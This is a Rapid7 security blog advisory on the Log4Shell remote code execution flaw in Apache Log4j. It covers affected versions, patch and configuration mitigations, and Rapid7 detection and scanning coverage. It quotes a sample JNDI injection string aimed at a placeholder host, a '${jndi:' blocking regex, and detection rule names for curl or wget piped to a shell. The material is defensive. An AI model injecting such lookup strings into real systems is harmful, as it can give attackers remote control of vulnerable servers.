Post Syndicated from boB Rudis original https://blog.rapid7.com/2021/12/13/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/
Information and exploitation of this vulnerability are evolving quickly. We will update this blog with further information as it becomes available.
| CVE | Vendor Advisory | AttackerKB | IVM Content | Patching Urgency | Last Update |
|---|---|---|---|---|---|
| CVE-2021-44228 | Apache Advisory | AttackerKB | IVM authenticated and remote content available as of December 12, 2021. Container Security assessment available as of December 10, 2021. | Immediately (emergency) | December 12, 2021 9:38pm ET |
On December 10, 2021, Apache released version 2.15.0 of their Log4j framework, which included a fix for CVE-2021-44228, a critical (CVSSv3 10) remote code execution (RCE) vulnerability affecting Apache Log4j 2.14.1 and earlier versions. The vulnerability resides in the way specially crafted log messages were handled by the Log4j processor. Untrusted strings (e.g. those coming from input text fields, such as web application search boxes) containing content like ${jndi:ldap://example.com/a} would trigger a remote class load, message lookup, and execution of the associated content if message lookup substitution was enabled. Successful exploitation of CVE-2021-44228 can allow a remote, unauthenticated attacker to take full control of a vulnerable target system.
CVE-2021-44228 is being broadly and opportunistically exploited in the wild as of December 10, 2021. Multiple sources have noted both scanning and exploit attempts against this vulnerability. Rapid7 researchers have developed and tested a proof-of-concept exploit that works against the latest Struts2 Showcase (2.5.27) running on Tomcat. We expect attacks to continue and increase: Defenders should invoke emergency mitigation processes as quickly as possible. CISA has also published an alert advising immediate mitigation of CVE-2021-44228.
A huge swath of products, frameworks, and cloud services implement Log4j, which is a popular Java logging library. Organizations should be prepared for a continual stream of downstream advisories from third-party software producers who include Log4j among their dependencies.
Affected versions
According to Apache’s advisory, all Apache Log4j (version 2.x) versions up to 2.14.1 are vulnerable if message lookup substitution was enabled.
Mitigation and detection guidance
Security teams and network administrators should update to Log4J 2.15.0 immediately, invoking emergency patching and/or incident response procedures to identify affected systems, products, and components and remediate this vulnerability with the highest level of urgency. They should also monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap strings) and local system events on web application servers executing curl and other, known remote resource collection command line programs. Furthermore, we recommend paying close attention to security advisories mentioning Log4j and prioritizing updates for those solutions.
According to Apache’s advisory for CVE-2021-44228, the behavior that allows for exploitation of the flaw has been disabled by default starting in version 2.15.0.
- In releases >=2.10, this behavior can be mitigated by setting either the system property
log4j2.formatMsgNoLookupsor the environment variableLOG4J_FORMAT_MSG_NO_LOOKUPStotrue. - For releases >=2.7 and <=2.14.1, all
PatternLayoutpatterns can be modified to specify the message converter as%m{nolookups}instead of just%m. - For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false.
According to a translated technical blog post, JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP. In Log4j releases >=2.10, this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath (e.g. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false. Rapid7 researchers are working to validate that upgrading to higher JDK/JRE versions does fully mitigate attacks.
Rapid7 Labs, Managed Detection and Response (MDR), and tCell teams recommend filtering inbound requests that contain the string “${jndi:” in any inbound request and monitoring all application and web server logs for similar strings.
EmergentThreat Labs has made Suricata and Snort IDS coverage for known exploit paths of CVE-2021-44228.
Researchers are maintaing a public list of known affected vendor products and third-party advisories releated to the Log4j vunlerability.
Rapid7 customers
InsightVM and Nexpose
Rapid7 has released an authenticated vulnerability check with identifier apache-log4j-core-cve-2021-44228 via a content update on December 12, 2021. This authenticated check uses the find command on Unix-like systems to identify vulnerable versions of the Log4j JAR files.
Please note that this new check will require the Security Console and Scan Engine to be updated to version 6.6.118, also released on December 12, and will not be functional with the content-only release. This will require Consoles and Engines to be restarted.
A remote check is also available as of 9 PM EST December 12, 2021 with Check ID apache-log4j-core-cve-2021-44228-remote. This check runs during network scans and will attempt to trigger a connection back to the Scan Engine in order to determine vulnerable status. This check is platform-independent, targeting Windows, Linux, and other operating systems.
We have also begun roll-out of Insight Agent version 3.1.2.36, which includes collection support for Log4j JAR files. This means vulnerability assessments of the authenticated check for CVE-2021-44228 will work for Agent-enabled systems that take the new version. Customers relying on the Insight Agent for vulnerability management may want to consider setting the Throttle level to High (which is the default) to ensure updates are applied as quickly as possible.
InsightVM customers utilizing Container Security can assess containers that have been built with a vulnerable version of the library.
InsightIDR and Managed Detection and Response
Rapid7 InsightIDR has several detections that will identify common follow-on activity used by attackers. Additionally, our teams are reviewing our detection rule library to ensure we have detections based on any observed attacker behavior related to this vulnerability seen by our Incident Response (IR), MDR, and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors.
- [Update: December 10, 2021 3:30pm ET]
- Our Threat Detection & Response team has deployed detection rules to help identify attacker behavior related to this vulnerability:
- Attacker Technique – Curl or Wget To Public IP Address With Non Standard Port
- Suspicious Process – Curl or WGet Pipes Output to Shell
- We also identified an existing detection rule that that was providing coverage prior to identification of the vulnerability:
- Suspicious Process – Curl to External IP Address
- Our Threat Detection & Response team has deployed detection rules to help identify attacker behavior related to this vulnerability:
- [Update: December 10, 2021 7:00pm ET]
- An additional rule has been deployed:
- Attacker Technique – Curl Or WGet To External IP Reporting Server IP In URL
- An additional rule has been deployed:
Velociraptor
A Velociraptor artifact has been added that can be used to hunt against an environment for exploitation attempts against log4j RCE vulnerability. A second Velociraptor artifact that looks for certain known-vulnerable JAR files was also added on December 12, 2021.
tCell
You can enable partial protection by following these two steps:
Adding this custom regex to the library: \${jndi:
Adding an advanced blocking rule to block the newly added regex… don’t forget to Deploy!
InsightCloudSec
The InsightCloudSec and InsightVM integration will identify cloud instances which are vulnerable to CVE-2021-44228 in InsightCloudSec. Customers can use the context and enrichment of ICS to identify instances which are exposed to the public or attached to critical resources.
Applying two Insight filters — Instance Vulnerable To Log4Shell and Instance On Public Subnet Vulnerable To Log4Shell — will enable identification of publicly exposed vulnerable assets and applications.
Updates
[December 10, 2021, 5:45pm ET]
Rapid7 has posted a technical analysis of CVE-2021-44228 on AttackerKB.
[December 11, 2021, 11:15am ET]
Added additional resources for reference and minor clarifications.
[December 11, 2021, 4:30pm ET]
VMware has published an advisory listing 30 different VMware products vulnerable to CVE-2021-44228, including vCenter Server, Horizon, Spring Cloud, Workspace ONE Access, vRealize Operations Manager, and Identity Manager. Their response matrix lists available workarounds and patches, though most are pending as of December 11.
Rapid7 has observed indications from the research community that they have already begun investigating RCE exploitability for products that sit in critical places in corporate networks, including network infrastructure solutions like vCenter Server. VMware customers should monitor this list closely and apply patches and workarounds on an emergency basis as they are released.
[December 11, 2021, 10:00pm ET]
Apache Struts 2 Vulnerable to CVE-2021-44228
The Apache Struts 2 framework contains static files (Javascript, CSS, etc) that are required for various UI components. Finding and “serving” these components is handled by the Struts 2 class DefaultStaticContentLoader. The DefaultStaticContentLoader is vulnerable to Log4j CVE-2021-44228;
given the default static content, basically all Struts implementations should be trivially vulnerable. Rapid7’s vulnerability research team has technical analysis, a simple proof-of-concept, and an example log artifact available in AttackerKB.
[December 12, 2021, 2:20pm ET]
InsightVM and Nexpose customers can now assess their exposure to CVE-2021-44228 with an authenticated vulnerability check. Note that this check requires that customers update their product version and restart their console and engine. See the Rapid7 customers section for details.
[December 13, 2021, 10:30 ET]
Updated mitigations section to include new guidance from Apache Log4J team and information on how to use InsightCloudSec + InsightVM to help identify vulnerable instances.